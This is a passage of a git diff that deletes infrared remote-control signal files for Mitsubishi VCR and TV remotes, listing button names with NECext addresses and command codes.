-address: 47 00 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 25 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 26 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 27 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: SIZE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2C 00 00 00 -# -name: TURNRIGHT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2D 00 00 00 -# -name: S\*\*\*\* -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2E 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 33 00 00 00 -# -name: TURNLEFT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: BROWSE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 36 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 37 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3B 00 00 00 -# -name: REVEAL -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 45 00 00 00 -# -name: DEMO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 46 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: PREVMENU -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 -# -name: REALNAME -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5B 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 64 00 00 00 -# -name: AFT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 65 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 67 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6D 00 00 00 -# -name: POSITION -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6E 00 00 00 -# -name: DEGAUSS -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 73 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 75 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 77 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7B 00 00 00 -# -name: EXCHANGE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir deleted file mode 100644 index 55889f86e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 22 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 2A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 32 00 00 00 -# -name: VCR_A -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir deleted file mode 100644 index e1ae3f3a8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir deleted file mode 100644 index 2e23fc5de..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 01 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 02 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: 13 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: U1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0C 00 00 00 -# -name: U2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: U3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: U4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: FF/SEARCH_>> -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: REW/SEARCH_<< -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir deleted file mode 100644 index b4f9d590f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: COUNTER_ZERO_STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: VIDEO_/_TV -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4A 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4A 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 6A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 6A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir deleted file mode 100644 index 2d9d9121e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir +++ /dev/null @@ -1,416 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: TV_CANCEL -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 07 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: TV_CHANNEL_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: TV_SCAN_^_(CH_^) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: TV_SCAN_^(CH_^) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: Q.V. -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: TV_Q.V. -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: TV_QV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: TV_CHANNEL_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: TV_SCAN_V_(CH_V) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: TV_SCAN_V(CH_V) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: TV_OFF-T_OTR -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: TV_OFF-T/OTR -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: TV_SLEEP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: TV_DISPLAY -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: TV_DATA_ON_SCREEN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: TV_INFO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 -# -name: TV_ENTER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: TV_ENTER_(EXCH) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: TV_ANT_A/B -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 39 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: TV_VCR/TV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: TV_VIDEO/TV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: TV_AUDIO_VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: TV_FUNC.VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: TV_VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: TV_FUNC_VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: TV_VIDEO_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: TV_JOG/ADJ+(IN_SRCH) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: TV_ADJUST_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: TV_ADJUST_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: TV_VIDEO_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 48 00 00 00 -# -name: TV_JOG/ADJ-(IN_SRCH) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: TV_ADJUST_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: TV_ADJUST_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: TV_SQV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4E 00 00 00 -# -name: TV_FUNC.AUDIO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: TV_AUDIO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: TV_FUNC_AUDIO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: TV_AUDIO_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: TV_MENU -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 -# -name: TV_AUDIO_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 58 00 00 00 -# -name: PIP_SOURCE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5F 00 00 00 -# -name: TV_SOURCE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5F 00 00 00 -# -name: TV_ADJUST_< -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 65 00 00 00 -# -name: TV_ADJUST_> -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6D 00 00 00 -# -name: TV_PIP_CH_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 76 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 77 00 00 00 -# -name: TV_PIP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 77 00 00 00 -# -name: TV_HOME -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7D 00 00 00 -# -name: TV_PIP_CH_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir deleted file mode 100644 index c674f6941..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir +++ /dev/null @@ -1,2924 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1_SUN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: VCRA_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: VCR-A -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 01 00 00 00 -# -name: VCR_9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 01 00 00 00 -# -name: VCRA_9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 02 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 02 00 00 00 -# -name: VCRA_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 02 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 03 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VCR_PLAY> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: PLAY/STOP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VCR_PLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VCR_PLAY/STOP/ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VCR_PLAY/STOP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VCR_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VCRA_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VIDEO/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VCR_VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VCRA_VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VCRA_VIDEO/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 07 00 00 00 -# -name: 2_MON -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: VCRA_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 09 00 00 00 -# -name: VCR_0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 09 00 00 00 -# -name: VCRA_0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: SCAN_+_(CH_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: ADJUST/SCAN_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: VCR_CHANNEL_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: SCAN_UP_(CH_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: CH_^_(SCAN_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: SCAN_^_(CH_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: VCR_SCAN_^_(CH_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: VCR_SCAN_^(CH_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: VCRA_SCAN_^_(CH_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: VCRA_CHANNEL_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: SELECT_<_DIGITAL_CLE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: CLEAR_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: VCR_CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: VCRA_CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: CANCEL_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0C 00 00 00 -# -name: VCR_RECORD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0C 00 00 00 -# -name: VCR_REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0C 00 00 00 -# -name: VCRA_REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0C 00 00 00 -# -name: ZERO_STOP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0D 00 00 00 -# -name: ZERO-STOP_TIME_COU. -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0D 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: INDEX_SEARCH_SLOW_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: FR_ADV_SLOW_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: INDEX_SEARCH_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: VCR_JOG/ADJ+(IND_SRC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: JOG/ADJUST_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: FS/+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: INDEX_SRCH_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: INDEX_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: VCR_INDEX_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: VCR_JOG/INDEX_S.+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: VCRA_INDEX_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: VCRA_INDEX_SEARCH_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: VCRA_SRCH_INDEX_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: INDEX_>>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: VCRA_ADJUST_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: ADDRESS_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0F 00 00 00 -# -name: INDEX_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0F 00 00 00 -# -name: 3_TUE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: VCR_3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: VCRA_3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: SCAN_-_(CH_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: ADJUST/SCAN_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCR_CHANNEL_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: SCAN_DOWN_(CH_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: CH_V_(SCAN_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: SCAN_V_(CH_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCR_SCAN_V_(CH_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCR_SCAN_V(CH_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCRA_SCAN_V_(CH_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCRA_CHANNEL_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: SET_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 13 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 13 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: VCR_STOP[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: VCR_STOP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: VCR_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: VCRA_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 15 00 00 00 -# -name: RESET_TIME_COUNTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 15 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 15 00 00 00 -# -name: VCR_COUNTER_RESET -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 15 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: INDEX_SEARCH_SLOW_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: 